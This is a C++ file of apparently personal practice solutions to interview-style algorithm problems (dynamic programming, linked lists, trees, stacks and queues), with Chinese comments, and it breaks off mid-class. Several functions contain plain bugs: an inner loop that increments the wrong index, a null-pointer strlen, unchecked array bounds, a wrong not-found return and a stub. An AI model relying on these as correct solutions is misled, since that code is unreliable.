std::vector<int> printNumbers(int n) {
std::vector<int> results;
for(int i = 0; i < std::pow(10, n); i++)
results.push_back(i);
return results;
}
//递归动态相结合 利用之前的计算结果
std::vector<double> twoSum(int n) {
std::vector<double> p_1 = {0.16667,0.16667,0.16667,0.16667,0.16667,0.16667};
if(n == 1)
return p_1;
// from (n-1) --> 6(n-1)
std::vector<double> pn_1 = twoSum(n-1);
int nums = n * 6 - n + 1;
std::vector<double> result(nums, 0);
for(int i = n; i < 6 * n + 1; i++) {
for(int j = 1; j <= 6; j++) {
if((i - j) < (n-1) || (i - j -n + 1) >= pn_1.size())
continue;
result[i - n] += 1.0 / 6.0 * pn_1[(i-j) - (n-1)];
}
}
return result;
}
// c++ fast pow
// 3.1^ 10
// 3.1 * 3,1^2 * 3,1^4
double myPow2(double x, int n) {
int i = n;
double res = 1;
while(i) {
if(i & 1)
res *= x;
x *= x;
i /= 2;
}
if(n < 0)
return 1.0 / res;
return res;
}
int numWays(int n) {
if(n == 1 || n == 0)
return 1;
if(n == 2)
return 2;
std::vector<int> results;
results.resize(n+1);
results[1] = 1;
results[2] = 2;
for(int i = 3; i<=n; i++) {
results[i] = results[i-1] % 1000000007 + results[i-2] % 1000000007;;
}
return (results[n] % 1000000007);
}
int findRepeatNumber(std::vector<int>& nums) {
std::map<int, int> num_count;
for(int i = 0; i < nums.size(); i++) {
if(num_count.count(nums[i]) == 0)
num_count[nums[i]] = 1;
else
{
return nums[i];
}
}
return 0;
}
std::vector<int> reversePrint(ListNode* head) {
std::vector<int> results;
ListNode* p = head;
while(p != nullptr) {
results.push_back(p->val);
p = p->next;
}
std::reverse(results.begin(), results.end());
return results;
}
std::string reverseLeftWords(std::string s, int n) {
n = n % s.size();
std::string part1 = s.substr(n, s.size() - n);
std::string part2 = s.substr(0, n);
std::cout << part1 << " " << part2 << std::endl;
return part1 + part2;
}
int lengthOfLongestSubstring1(std::string s) {
if(s.empty())
return 0;
int start = 0;
int end = 1;
std::vector<char> contained_chars;
int max_length = 1;
contained_chars.push_back(s[start]);
while(end < s.size()) {
for(int i = 0; i < contained_chars.size(); i++) {
if(s[end] == s[i]) {
start += (i + 1);
std::cout<< start << std::endl;
contained_chars.erase(contained_chars.begin(), contained_chars.begin() + i + 1);
break;
}
}
contained_chars.push_back(s[end]);
max_length = std::max(max_length, end - start + 1);
end++;
}
return max_length;
}
//动态规划,整数切分
int cuttingRope(int n) {
std::vector<int> dp;
dp.resize(n+1);
dp[0] = 0;
dp[1] = 0;
// dp[i]表示以i切分的最大的乘积
for(int i = 2; i <= n; i++) {
// split, j must larger than 0
for(int j = 1; j < i; j++) {
int tmp_result = std::max(j * (i - j), j * dp[i - j]);
dp[i] = std::max(dp[i], tmp_result);
}
}
return dp[n];
}
/*
1
2 3
4 5
*/
/*
3
4 5
-7 -6
-7 -5
-4
*/
int sumOfLeftLeaves(TreeNode* root) {
// int result = 0;
// if(root == nullptr)
// return result;
// TreeNode* left = root->left_child;
// if(left == nullptr)
// return result; // left为空的时候,right不一定为空
// if(left->left_child == nullptr && left->right_child == nullptr)
// return left->val + sumOfLeftLeaves(root->right_child);
// return sumOfLeftLeaves(left) + sumOfLeftLeaves(root->right_child);
if(root == nullptr)
return 0;
TreeNode* left = root->left_child;
TreeNode* right = root->right_child;
if(left == nullptr)
return sumOfLeftLeaves(right);
if(left->left_child == nullptr && left->right_child == nullptr)
return left->val + sumOfLeftLeaves(right);
return sumOfLeftLeaves(left) + sumOfLeftLeaves(right);
}
std::vector<int> topKFrequent(std::vector<int>& nums, int k) {
// key is number and value is count
std::map<int, int> number_counts;
for(int i = 0; i < nums.size(); i++) {
if(number_counts.count(nums[i]) == 0)
number_counts[nums[i]] = 1;
else
{
number_counts[nums[i]]++;
}
}
//map 向vector转换以便进行排序
std::vector<std::pair<int,int>> vector_number_counts;
for(auto iter = number_counts.begin(); iter != number_counts.end(); iter++) {
vector_number_counts.push_back({iter->first, iter->second});
}
std::sort(vector_number_counts.begin(), vector_number_counts.end(),
[](std::pair<int,int> p1, std::pair<int,int> p2) {
return p1.second > p2.second;
});
std::vector<int> result;
for(int i = 0; i< k;i++) {
result.push_back(vector_number_counts[i].first);
}
return result;
}
//获取子结果,根据子结果推导入出最终结果
std::vector<std::vector<int>> subsets(std::vector<int>& nums) {
std::vector<std::vector<int>> results;
if(nums.empty())
return results;
if(nums.size() == 1) {
results.push_back({nums.front()});
results.push_back({});
return results;
}
std::vector<int> sub_nums;
for(int i = 0; i < nums.size() - 1; i++) {
sub_nums.push_back(nums[i]);
}
std::vector<std::vector<int>> sub_results = subsets(sub_nums);
for(int i = 0; i < sub_results.size(); i++) {
results.push_back(sub_results[i]);
std::vector<int> tmp = sub_results[i];
tmp.push_back(nums.back());
results.push_back(tmp);
}
return results;
}
//深度优先搜索,递归的进行颜色的涂改,涂改后颜色就不是初始颜色了
std::vector<std::vector<int>> floodFill(
std::vector<std::vector<int>>& image, int sr, int sc, int newColor) {
int rows = image.size();
int cols = image.front().size();
int init_color = image[sr][sc];
image[sr][sc] = newColor;
if(newColor == init_color)
return image;
// same row
if(image[sr][sc - 1] == init_color)
floodFill(image, sr, sc-1, newColor);
if(image[sr][sc + 1] == init_color)
floodFill(image, sr, sc+1, newColor);
// same col
if(image[sr-1][sc] == init_color)
floodFill(image, sr-1, sc, newColor);
if(image[sr+1][sc] == init_color)
floodFill(image, sr+1, sc, newColor);
return image;
}
/*
输入:
[
[0,2,1,0],
[0,1,0,1],
[1,1,0,1],
[0,1,0,1]
]
输出: [1,2,4]
*/
int pondSizeHelper(std::vector<std::vector<bool>> is_visited, std::vector<std::vector<int>>& land,
int start_row, int start_col) {
int pond_size = 0;
if(is_visited[start_row][start_col])
return 0;
if(land[start_row][start_col] != 0) {
is_visited[start_row][start_col] = true;
return 0;
} else {
pond_size = 1;
}
is_visited[start_row][start_col] = true;
return pond_size + pondSizeHelper(is_visited, land, start_row, start_col + 1) +
pondSizeHelper(is_visited, land, start_row+1, start_col) +
pondSizeHelper(is_visited, land, start_row+1, start_col + 1);
}
std::vector<int> pondSizes(std::vector<std::vector<int>>& land) {
std::vector<int> results;
int rows = land.size();
int cols = land.front().size();
std::vector<std::vector<bool>> is_visited(rows, std::vector<bool>(cols, false));
for(int i = 0; i < rows; i++) {
for(int j = 0; j < cols; j++) {
int result = pondSizeHelper(is_visited, land, i, j);
if(result != 0)
results.push_back(result);
}
}
return results;
}
int search(std::vector<int>& nums, int target) {
int count = 0;
for(int i = 0; i < nums.size(); i++) {
if(nums[i] == target)
count++;
if(nums[i] > target)
break;
}
return count;
}
/*
3
1 4
2
*/
//左根右中序遍历
void zhongbianli(TreeNode* root, std::vector<int>& values) {
if(root == nullptr)
return;
zhongbianli(root->left_child, values);
values.push_back(root->val);
zhongbianli(root->right_child, values);
}
int kthLargest(TreeNode* root, int k) {
std::vector<int> values;
zhongbianli(root, values);
return values[values.size() - k];
}
int missingNumber(std::vector<int>& nums) {
int n = nums.size();
int total_sum = n * (n + 1) / 2;
int partsum = 0;
for(auto e : nums) {
partsum += e;
}
return total_sum - partsum;
}
std::vector<std::vector<int>> findContinuousSequence(int target) {
std::vector<std::vector<int>> results;
int half_num = target / 2;
for(int i = 1; i <= half_num;i++) {
int current_sum = i;
int j = i+1;
while(current_sum < target) {
current_sum += j;
j++;
}
if(current_sum == target) {
std::vector<int> result;
for(int k = i; k < j; k++) {
result.push_back(k);
}
results.push_back(result);
}
}
return results;
}
bool isStraight(std::vector<int>& nums) {
std::vector<int> non_zero;
for(int i = 0; i < nums.size(); i++) {
if(nums[i] != 0)
non_zero.push_back(nums[i]);
}
std::set<int> non_zero_set;
for(int i = 0; i < non_zero.size(); i++) {
non_zero_set.insert(non_zero[i]);
}
if(non_zero.size() != non_zero_set.size())
return false;
std::sort(non_zero.begin(), non_zero.end());
// 非0的最大值和最小值的差距要小
int count = non_zero.back() - non_zero.front() + 1;
if(count <= 5)
return true;
return false;
}
/*
0 0
1 4 ==> 1 4
2 3 3
*/
int lastRemaining(int n, int m) {
std::vector<int> nums;
for(int i = 0; i < n; i++) {
nums.push_back(i);
}
int index = 0;
while(nums.size() > 1) {
index = index % nums.size();
if(index == (m - 1))
nums.erase(nums.begin() + index);
index++;
}
return nums.front();
}
//小的元素pop后,只要大的元素还在就不会有影响
class MaxQueue {
public:
MaxQueue() {
}
int max_value() {
if(d.empty())
return -1;
return d.front();
}
void push_back(int value) {
q.push(value);
while(!d.empty() && d.back() < value)
d.pop_back();
d.push_back(value);
}
int pop_front() {
if(q.empty())
return -1;
int ans = q.front();
if(ans == d.front())
d.pop_front();
q.pop();
return ans;
}
std::queue<int> q;
//维护一个单调递减的双端队列
std::deque<int> d;
};
int countOne(int num) {
int count = 0;
while(num != 0) {
if((num % 10) == 1)
count++;
num /= 10;
}
return count;
}
int countDigitOne1(int n) {
int count = 0;
for(int i = 0; i <= n; i++) {
count += countOne(i);
}
return count;
}
//对于任意一个数字,个位,十位等等为1出现的次数
int countDigitOne(int n) {
int result = 0;
//分解低位,当前位,高位
long low = 0;
long high = n / 10;
long cur = n % 10;
long digit = 1;
//每一位上是1的个数的相加总和
while(high != 0 || cur != 0) {
if(cur == 0) {
result += high * digit;
} else if(cur == 1) {
result += high * digit + low + 1;
} else {
//cur == 2 - 9
result += (high + 1) * digit;
}
low += cur * digit;
cur = high % 10;
high /= 10;
digit *= 10;
}
return result;
}
//递增数组未旋转的话递增元素是第一个,旋转的话是第一个递减的元素
int minArray(std::vector<int>& numbers) {
int n = numbers.size();
if(n == 1)
return numbers.front();
for(int i = 0; i < numbers.size(); i++) {
if(numbers[i] > numbers[i+1])
return numbers[i+1];
}
return numbers.front();
}
//起点位置和字符深度遍历
bool exist_helper(std::vector<std::vector<char>>& board,
std::vector<std::vector<bool>>& visited,
int i, int j, int k,
std::string word) {
if(k >= word.size())
return true;
bool left = false;
bool right = false;
bool top = false;
bool bottom = false;
if(j > 0 && visited[i][j-1] == false) {
if(word[k] == board[i][j-1]) {
visited[i][j-1] = true;
left = exist_helper(board, visited, i, j-1, k+1,word);
visited[i][j-1] = false;
}
}
if(j < board.front().size()-1 && visited[i][j+1] == false) {
if(word[k] == board[i][j+1]) {
visited[i][j+1] = true;
right = exist_helper(board, visited, i, j+1, k+1, word);
visited[i][j+1] = false;
}
}
if(i > 0) {
if(word[k] == board[i-1][j] && visited[i-1][j] == false) {
visited[i-1][j] = true;
top = exist_helper(board, visited, i-1, j, k+1,word);
visited[i-1][j] = false;
}
}
if(i < board.size() - 1 && visited[i+1][j] == false) {
if(word[k] == board[i+1][j]) {
visited[i+1][j] = true;
bottom = exist_helper(board, visited, i+1, j, k+1,word);
visited[i+1][j] = false;
}
}
return left || right || top || bottom;
}
bool exist(std::vector<std::vector<char>>& board, std::string word) {
int rows = board.size();
int cols = board.front().size();
std::vector<std::vector<bool>> visited(rows, std::vector<bool>(cols, false));
int k = 1;
for(int i = 0; i < rows; i++) {
for(int j = 0; j < cols; j++) {
if(board[i][j] == word.front()) {
visited[i][j] = true;
if(exist_helper(board, visited, i, j, k, word))
return true;
visited[i][j] = false;
}
}
}
return false;
}
char firstUniqChar(std::string s) {
if(s.empty())
return ' ';
std::unordered_map<char, bool> char_count;
for(int i = 0; i < s.size(); i++) {
if(char_count.count(s[i]) == 0)
char_count.insert({s[i], true});
else
{
char_count[s[i]] = false;
}
}
//遍历字符串找到第一个而不是遍历哈希表
for(int i = 0; i < s.size(); i++) {
if(char_count[s[i]])
return s[i];
}
return s.front();
}
//找到要删除的节点,指针重新连接一下
ListNode* deleteNode(ListNode* head, int val) {
if(head->val == val)
return head->next;
ListNode* p = head;
ListNode* q = p->next;
while(q && q->val != val) {
p = p->next;
q = q->next;
}
p->next = q->next;
return head;
}
//暴力解法
int maxProfit1(std::vector<int>& prices) {
int max_profit = 0;
for(int i = 0; i < prices.size()-1;i++) {
for(int j = i+1;j < prices.size(); i++) {
max_profit = std::max(max_profit, prices[j] - prices[i]);
}
}
return max_profit;
}
//一维动态规划解法
int maxProfit(std::vector<int>& prices) {
if(prices.size() < 2)
return 0;
int max_profit = 0;
int min_price = prices[0];
std::vector<int> dp(prices.size(), 0);
//当日卖出价减去过去的最低价
for(int i = 1; i < prices.size(); i++) {
dp[i] = std::max(dp[i-1], prices[i] - min_price);
min_price = std::min(min_price,prices[i]);
}
return dp.back();
}
class Student {
};
class Student1 {
public:
virtual ~Student1() {}
};
void out_sizeof() {
Student xiaoming;
Student1 xiaowang;
//输出1 ,实例要占据1个字节的内存
std::cout << sizeof(xiaoming) << std::endl;
//输出8, 有虚函数之后,每个实例会含有一个指向虚函数表的指针,64位机器上一个指针8个字节
std::cout << sizeof(xiaowang) << std::endl;
}
class D {
private:
int value;
public:
D(int n) {
value = n;
}
//拷贝构造函数第一个参数必须是引用传递
D(const D& other) {
value = other.value;
}
void Print() {
std::cout <<"value: " << value << std::endl;
}
};
class MyString {
private:
char* m_pData;
public:
MyString(char* pData = nullptr) {
if(pData == nullptr) {
m_pData = new char[1];
m_pData[0] = '\0';
}
int length = strlen(pData);
//分配内存,再进行拷贝
m_pData = new char[length + 1];
strcpy(m_pData, pData);
}
MyString(const MyString& str) {
int length = strlen(str.m_pData);
m_pData = new char[length + 1];
strcpy(m_pData, str.m_pData);
}
~MyString() {
delete []m_pData;
m_pData = nullptr;
}
MyString& operator=(const MyString& str) {
//防止自赋值
if(this == &str)
return *this;
delete []m_pData;
m_pData = nullptr;
m_pData = new char[strlen(str.m_pData) + 1];
strcpy(m_pData, str.m_pData);
//返回引用
return *this;
}
void Print() {
printf("%s", m_pData);
}
};
class Singleton {
private:
static Singleton* m_instance;
std::mutex mtx;
Singleton() {}
Singleton(const Singleton& ton) = delete;
Singleton& operator=(const Singleton& ton) = delete;
public:
Singleton* GetInstance() {
if(m_instance == nullptr) {
mtx.lock();
if(m_instance == nullptr)
m_instance = new Singleton(); //只会有一个线程进入并创建,另一个直接返回
mtx.unlock();
}
return m_instance;
}
};
Singleton* Singleton::m_instance = nullptr;
std::string replaceSpace(std::string s) {
// we are happy
std::string result;
//string 可以直接push_back,类似vector
for(auto c : s) {
if(c == ' ') {
result.push_back('%');
result.push_back('2');
result.push_back('0');
} else
{
result.push_back(c);
}
}
return result;
}
bool is_index_valid(int row, int col, int k) {
int result = 0;
result += row / 10;
result += row % 10;
result += col / 10;
result += col % 10;
return result <= k;
}
int dfs(int i, int j, int m, int n, int k, std::vector<std::vector<bool>>& visited) {
//访问过的或者无效的不进行累加
if(i < 0 || i >= m || j < 0 || j >= n || visited[i][j] ||!is_index_valid(i, j, k))
return 0;
visited[i][j] = true;
//当前值加上四条路径的累加值
return 1 + dfs(i, j+1, m, n, k, visited) + dfs(i+1, j, m, n, k, visited) +
dfs(i, j-1, m, n, k, visited) + dfs(i-1, j, m, n, k, visited);
}
int movingCount(int m, int n, int k) {
std::vector<std::vector<bool>> is_visited(m, std::vector<bool>(n, false));
return dfs(0, 0, m ,n, k, is_visited);
}
std::vector<int> exchange(std::vector<int>& nums) {
// 奇数在前,偶数在后
int i = 0;
int j = nums.size() - 1;
while(i < j) {
if(nums[i] % 2 == 0 && nums[j] % 2 == 1) {
std::swap(nums[i], nums[j]);
i++;
j--;
} else if(nums[i] % 2 == 0 && nums[j] % 2 == 0) {
j--;
} else if(nums[i] % 2 == 1 && nums[j] % 2 == 0) {
i++;
j--;
} else {
i++;
}
}
return nums;
}
class Parent {
public:
virtual void print() {
std::cout<<"parent" << std::endl;
}
virtual void print_hello() {}
int value;
};
class child1 : public Parent {
public:
virtual void print() override {
std::cout<<"child1 " << std::endl;
}
int value;
};
class child2 : public Parent{
public:
int value;
};
ListNode* getKthFromEnd(ListNode* head, int k) {
if(head == nullptr)
return nullptr;
ListNode* p = head;
ListNode* q = p;
for(int i = 0; i < k; i++) {
q = q->next;
}
while(q != nullptr) {
p = p->next;
q = q->next;
}
return p;
}
//1-2-4 1-3-4 --》1 1 2 3 4 4
ListNode* mergeTwoLists(ListNode* l1, ListNode* l2) {
if(l1 == nullptr)
return l2;
if(l2 == nullptr)
return l1;
ListNode* p = l1;
ListNode* q = l2;
ListNode* k;
if(p->val < q->val) {
k = p;
p = p->next;
} else {
k = q;
q = q->next;
}
//建立一个新的指针
ListNode* result = k;
while(p && q) {
if(p->val < q->val) {
k->next = p;
p = p->next;
} else {
k->next = q;
q = q->next;
}
k = k->next;
}
if(p)
k->next = p;
else
k->next = q;
return result;
}
//判断弹出序列是否满足条件
bool validateStackSequences(std::vector<int>& pushed, std::vector<int>& popped) {
//用一个辅助栈模拟推入的过程,值相等则进行推出
std::stack<int> fuzhu;
int j = 0;
int i = 0;
while(i < pushed.size()) {
fuzhu.push(pushed[i]);
while(!fuzhu.empty() && fuzhu.top() == popped[j]) {
fuzhu.pop();
j++;
}
i++;
}
//依次的pop
while(j < popped.size()) {
if(fuzhu.top() == popped[j]) {
fuzhu.pop();
j++;
} else {
return false;
}
}
return fuzhu.empty();
}
/*
输入: n = 10
输出: 12
解释: 1, 2, 3, 4, 5, 6, 8, 9, 10, 12 是前 10 个丑数。
*/
int nthUglyNumber(int n) {
std::vector<int> ugly_nums(n, 1);
int a = 0, b = 0, c = 0;
for(int i = 1; i < n; i++) {
int n1 = 2 * ugly_nums[a];
int n2 = 3 * ugly_nums[b];
int n3 = 5 * ugly_nums[c];
ugly_nums[i] = std::min(n1, std::min(n2, n3));
if(ugly_nums[i] == n1)
a++;
if(ugly_nums[i] == n2)
b++;
if(ugly_nums[i] == n3)
c++;
}
return ugly_nums.back();
}
std::vector<int> getLeastNumbers(std::vector<int>& arr, int k) {
if(k <= 0)
return {};
std::priority_queue<int> arr_k;
for(int i = 0; i < arr.size();i++) {
if(i < k) {
arr_k.push(arr[i]);
} else {
if(arr[i] < arr_k.top()) {
arr_k.pop();
arr_k.push(arr[i]);
}
}
}
std::vector<int> result;
while(!arr_k.empty()) {
result.push_back(arr_k.top());
arr_k.pop();
}
return result;
}
class Node {
public:
int val;
Node* next;
Node* random;
Node(int _val) {
val = _val;
next = NULL;
random = NULL;
}
};
Node* copyRandomList(Node* head) {
return nullptr;
}
//构建乘积数组,上三角和下三角
/*
b[0] 1 a[1] a[2] a[3] a[4] a[5]
b[1] a[0] 1 a[2] a[3] a[4] a[5]
b[2] a[0] a[1] 1 a[3] a[4] a[5]
b[3] a[0] a[1] a[2] 1 a[4] a[5]
b[4] a[0] a[1] a[2] a[3] 1 a[5]
b[5] a[0] a[1] a[2] a[3] a[4] 1
分为两个三角区域,递推式的进行推算
*/
std::vector<int> constructArr(std::vector<int>& a) {
std::vector<int> b(a.size(), 1);
for(int i = 1; i < a.size(); i++) {
b[i] = b[i-1] * a[i-1];
}
int tmp = 1;
for(int i = a.size() - 2; i >= 0; i--) {
tmp *= a[i+1];
b[i] *= tmp;
}
return b;
}
//约瑟夫回环问题
// f(n, m) = (f(n - 1, m) + m) % n
int lastRemaining1(int n, int m) {
if(n == 1)
return 0;
int result = 0;
for(int i = 2; i <= n; i++) {
result = (result + m) % i;
}
return result;
}
//左右子树交换,然后递归的进行交换
TreeNode* mirrorTree(TreeNode* root) {
if(root == nullptr)
return nullptr;
TreeNode* tmp = root->left_child;
root->left_child = root->right_child;
root->right_child = tmp;
mirrorTree(root->left_child);
mirrorTree(root->right_child);
return root;
}
class MedianFinder {
public:
/** initialize your data structure here. */
MedianFinder() {
}
//每次都在有序数组中插入元素
void addNum(int num) {
if(nums.empty()) {
nums.push_back(num);
} else {
auto iter = std::upper_bound(nums.begin(), nums.end(), num);
if(iter == nums.end())
nums.push_back(num);
else {
nums.insert(iter, num);
}
}
}
double findMedian() {
if(nums.size() % 2 == 1) {
return nums[(nums.size() - 1) / 2];
} else {
return (nums[nums.size() / 2 - 1] + nums[nums.size() / 2]) / 2.0;
}
}
std::vector<int> nums;
};
void Erase() {
std::vector<int> a;
for(int i = 1; i<=10; i++) {
a.push_back(i);
}
for(auto iter = a.begin(); iter != a.end();) {
if((*iter) % 2 == 0) {
iter = a.erase(iter);
} else {
iter++;
}
}
for(auto e : a ) {
std::cout<<e <<" ";
}
std::cout<<std::endl;
}
int searchInsert(std::vector<int>& nums, int target) {
int start_index = 0;
int end_index = nums.size() - 1;
int middle_index = start_index + (end_index - start_index) / 2;
while(start_index < end_index) {
if(nums[middle_index] == target)
return middle_index;
else if(nums[middle_index] < target) {
start_index = middle_index + 1;
} else {
end_index = middle_index - 1;
}
middle_index = start_index + (end_index - start_index) / 2;
}
if(target > nums[start_index])
return start_index + 1;
else
return start_index;
}
std::vector<int> sortedSquares(std::vector<int>& A) {
std::vector<int> less_0;
std::vector<int> more_0;
for(int i = 0; i < A.size();i++) {
if(A[i] < 0)
less_0.push_back(A[i]);
else
more_0.push_back(A[i]);
}
std::vector<int> results;
int i = 0;
int j = less_0.size() - 1;
while(i < more_0.size() && j >= 0) {
if(abs(less_0[j]) > more_0[i]){
results.push_back(more_0[i] * more_0[i]);
i++;
} else {
results.push_back(less_0[j] * less_0[j]);
j--;
}
}
while(i < more_0.size()) {
results.push_back(more_0[i] * more_0[i]);
i++;
}
while(j >=0) {
results.push_back(less_0[j] * less_0[j]);
j--;
}
return results;
}
int minSubArrayLen(int s, std::vector<int>& nums) {
int result = nums.size();
bool exist = false;
for(int i = 0; i < nums.size(); i++) {
int sum = 0;
for(int j = i; j < nums.size(); j++) {
sum += nums[j];
if(sum >= s) {
result = std::min(result, (j - i + 1));
exist = true;
break;
}
}
}
if(!exist)
return 0;
return result;
}
/*
1 2 3 4 1 2 3
12 13 14 5 8 9 4
11 16 15 6 7 6 5
10 9 8 7
*/
std::vector<std::vector<int>> generateMatrix(int n) {
int circle_count = std::round(n / 2.0);
std::vector<std::vector<int>> matrix(n, std::vector<int>(n, 0));
int start_top_num = 1;
for(int i = 0; i < circle_count; i++) {
// top row: i, col: i - (n-i)
for(int j = i; j < (n - i) ; j++) {
matrix[i][j] = start_top_num + (j - i);
}
start_top_num += (4 * (n - 2 * i)) - 4;
//right col: n-i-1 row: i+1 - n-i-2
for(int j = (i+1); j < (n-i-1); j++) {
matrix[j][n-i-1] = matrix[i][n-i-1] + (j - i);
}
for(int j = n - 1-i; j >= i ; j--) {
if(n % 2 == 1 && i == (circle_count - 1))
continue;
matrix[n-i-1][j] = matrix[n-i-2][n-i-1] + (n - i - j);
}
//left col: i row: n-i-2 i+1
for(int j = (n-2-i); j > i;j--) {
matrix[j][i] = matrix[n-1-i][i] + (n-1-i-j);
}
}
return matrix;
}
ListNode* removeElements(ListNode* head, int val) {
if(head == nullptr)
return nullptr;
ListNode* sential = new ListNode(0);
sential->next = head;
ListNode* pre = sential;
ListNode* cur = head;
ListNode* next = head->next;
while(cur) {
std::cout<<cur->val<<std::endl;
if(cur->val == val) {
pre->next = next;
} else {
pre = cur;
}
cur = cur->next;
if(cur == nullptr)
break;
next = cur->next;
}
return sential->next;
}
class MyLinkedList {
public:
/** Initialize your data structure here. */
MyLinkedList() {
}
/** Get the value of the index-th node in the linked list. If the index is invalid, return -1. */
int get(int index) {
if(index < 0 || index >= nums.size())
return -1;
auto iter = nums.begin();
std::advance(iter, index);
return *iter;
}
/** Add a node of value val before the first element of the linked list. After the insertion, the new node will be the first node of the linked list. */
void addAtHead(int val) {
nums.push_front(val);
}
/** Append a node of value val to the last element of the linked list. */
void addAtTail(int val) {
nums.push_back(val);
}
/** Add a node of value val before the index-th node in the linked list. If index equals to the length of linked list, the node will be appended to the end of linked list. If index is greater than the length, the node will not be inserted. */
void addAtIndex(int index, int val) {
if(index < 0 || index > nums.size())
return;
auto iter = nums.begin();
std::advance(iter, index);
nums.insert(iter, val);
}
/** Delete the index-th node in the linked list, if the index is valid. */
void deleteAtIndex(int index) {
if(index < 0 || index >= nums.size())
return;
auto iter = nums.begin();
std::advance(iter, index);
nums.erase(iter);
}
std::list<int> nums;
};
//快慢指针 f - s = nb, s = nb, 环形如口处在a+nb处,相遇的时候让慢指针在走a步即可
ListNode *detectCycle(ListNode *head) {
ListNode* fast = head;
ListNode* slow = head;
while(fast) {
if(fast->next != nullptr)
fast = fast->next->next;
else
return nullptr;
slow = slow->next;
if(fast == slow)
break;
}
if(fast == nullptr)
return nullptr;
fast = head;
while(fast) {
if(fast == slow)
return fast;
fast = fast->next;
slow = slow->next;
}
return nullptr;
}
bool canConstruct(std::string ransomNote, std::string magazine) {
std::unordered_map<char, int> char_counts;
for(int i = 0; i < magazine.size(); i++) {
if(char_counts.count(magazine[i]) == 0)
char_counts[magazine[i]] = 1;
else
{
char_counts[magazine[i]]++;
}
}
for(int i = 0; i < ransomNote.size(); i++) {
if(char_counts.count(ransomNote[i]) == 0)
return false;
if(char_counts[ransomNote[i]] <= 0)
return false;
char_counts[ransomNote[i]]--;
}
return true;
}
int distributeCandies(std::vector<int>& candies) {
int kinds = 1;
std::sort(candies.begin(), candies.end());
int pre_kind = candies.front();
for(int i = 1; i < candies.size(); i++) {
if(candies[i] == pre_kind)
continue;
else {
kinds++;
pre_kind = candies[i];
}
}
if(kinds < candies.size() / 2)
return kinds;
else
return candies.size() / 2;
}
int get_square_sum(int n) {
int sum = 0;
while(n) {
int num = n % 10;
n /= 10;
sum += num * num;
}
return sum;
}
// 通过hashset检测是否会出现循环
bool isHappy(int n) {
std::map<int, int> count;
count[n] = 1;
while(n) {
if(n == 1)
return true;
n = get_square_sum(n);
if(count.count(n) != 0)
return false;
else
count[n] = 1;
}
return false;
}
//用hash降低一半的复杂度
int fourSumCount1(std::vector<int>& A, std::vector<int>& B,
std::vector<int>& C, std::vector<int>& D) {
//ab之和能够达到某一个value的有多少个数字
std::unordered_map<int, int> AB;
for(int i = 0;i < A.size(); i++) {
for(int j = 0; j < B.size(); j++) {
int sum = A[i] + B[j];
if(AB.count(sum) == 0)
AB[sum] = 1;
else
AB[sum]++;
}
}
int result = 0;
for(int i = 0;i < C.size(); i++) {
for(int j = 0; j < D.size();j++) {
int sum = C[i] + D[j];
if(AB.count(-sum) != 0) {
result += AB[-sum];
}
}
}
return result;
}
bool containsNearbyDuplicate(std::vector<int>& nums, int k) {
std::unordered_map<int, int> num_index;
for(int i = 0; i < nums.size();i++) {
if(num_index.count(nums[i]) == 0)
num_index[nums[i]] = i;
else {
if((i - num_index[nums[i]]) <= k)
return true;
else
num_index[nums[i]] = i;
}
}
return false;
}
int strStr(std::string haystack, std::string needle) {
if(needle.empty())
return 0;
if(needle.size() > haystack.size())
return -1;
for(int i = 0; i < haystack.size() - needle.size() + 1;i++) {
std::string tmp = haystack.substr(i,needle.size());
if(tmp == needle)
return i;
}
return 0;
}
bool isPattern(std::string a, std::string b) {
int start_index = 0;
int end_index = a.size() - 1;
bool flag = false;
while(end_index < b.size()) {
std::string tmp = b.substr(start_index, a.size());
if(tmp != a)
return false;
start_index += a.size();
end_index += a.size();
flag = true;
}
return flag;
}
//提取子串,不断进行重复判断
bool repeatedSubstringPattern(std::string s) {
for(int i = 0; i < s.size() / 2; i++) {
if(s.size() % (i+1) != 0)
continue;
std::string sub_str = s.substr(0, i+1);
if(isPattern(sub_str, s))
return true;
}
return false;
}
class MyQueue {
public:
/** Initialize your data structure here. */
MyQueue() {
}
/** Push element x to the back of queue. */
void push(int x) {
if(a.empty())
front_element = x;
a.push(x);
}
/** Removes the element from in front of queue and returns that element. */
int pop() {
while(!a.empty()) {
b.push(a.top());
a.pop();
}
int result = b.top();
b.pop();
if(!b.empty())
front_element = b.top();
while(!b.empty()) {
a.push(b.top());
b.pop();
}
return result;
}
/** Get the front element. */
int peek() {
return front_element;
}
/** Returns whether the queue is empty. */
bool empty() {
return a.empty();
}
std::stack<int> a;
std::stack<int> b;
int front_element;
};
class MyStack {
public:
/** Initialize your data structure here. */
MyStack() {
}
/** Push element x onto stack. */
void push(int x) {
a.push(x);
top_element = x;
}
/** Removes the element on top of the stack and returns that element. */
int pop() {
int result = 0;
while(!a.empty()) {
if(a.size() == 1) {
result = a.front();
a.pop();
} else {
b.push(a.front());
a.pop();
}
}
while(!b.empty()) {
if(b.size() == 1)
top_element = b.front();
a.push(b.front());
b.pop();
}
return result;
}
/** Get the top element. */
int top() {
return top_element;
}
/** Returns whether the stack is empty. */
bool empty() {
return a.empty();
}
std::queue<int> a;
std::queue<int> b;
int top_element;
};
bool isValid(std::string s) {
std::stack<char> cs;
for(int i = 0; i < s.size(); i++) {
if(cs.empty())
cs.push(s[i]);
else {
if(s[i] == '(' || s[i] == '[' || s[i] == '{')
cs.push(s[i]);
else if(s[i] == ')') {
if(cs.top() != '(')
return false;
else
cs.pop();
}
else if(s[i] == ']') {
if(cs.top() != '[')
return false;
else
cs.pop();
}
else {
if(cs.top() != '{')
return false;
else
cs.pop();
}
}
}
return cs.empty();
}
//use stack structure to remove string duplicates
std::string removeDuplicates(std::string S) {
std::stack<char> cs;
for(int i = 0; i < S.size(); i++) {
if(cs.empty())
cs.push(S[i]);
else {
if(S[i] == cs.top())
cs.pop();
else
cs.push(S[i]);
}
}
std::string a;
while(!cs.empty()) {
a.push_back(cs.top());
cs.pop();
}
std::reverse(a.begin(), a.end());
return a;
}
int largestRectangleArea(std::vector<int>& heights) {
int n = heights.size();
std::vector<int> lower(n, 0);
std::vector<int> higher(n, 0);
for(int i=0; i < heights.size(); i++) {
int j1 = i-1;
while(j1 >=0) {
if(heights[j1] < heights[i]) {
lower[i] = j1;
break;
} else {
j1--;
}
}
if(j1 < 0)
lower[i] = -1;
int j = i+1;
while(j < heights.size()) {
if(heights[j] < heights[i]) {
higher[i] = j;
break;
} else {
j++;
}
}
if(j == heights.size())
higher[i] = heights.size();
}
int result = 0;
for(int i = 0; i < heights.size(); i++) {
result = std::max((higher[i] - lower[i] - 1) * heights[i], result);
}
return result;
}
class Node_N {
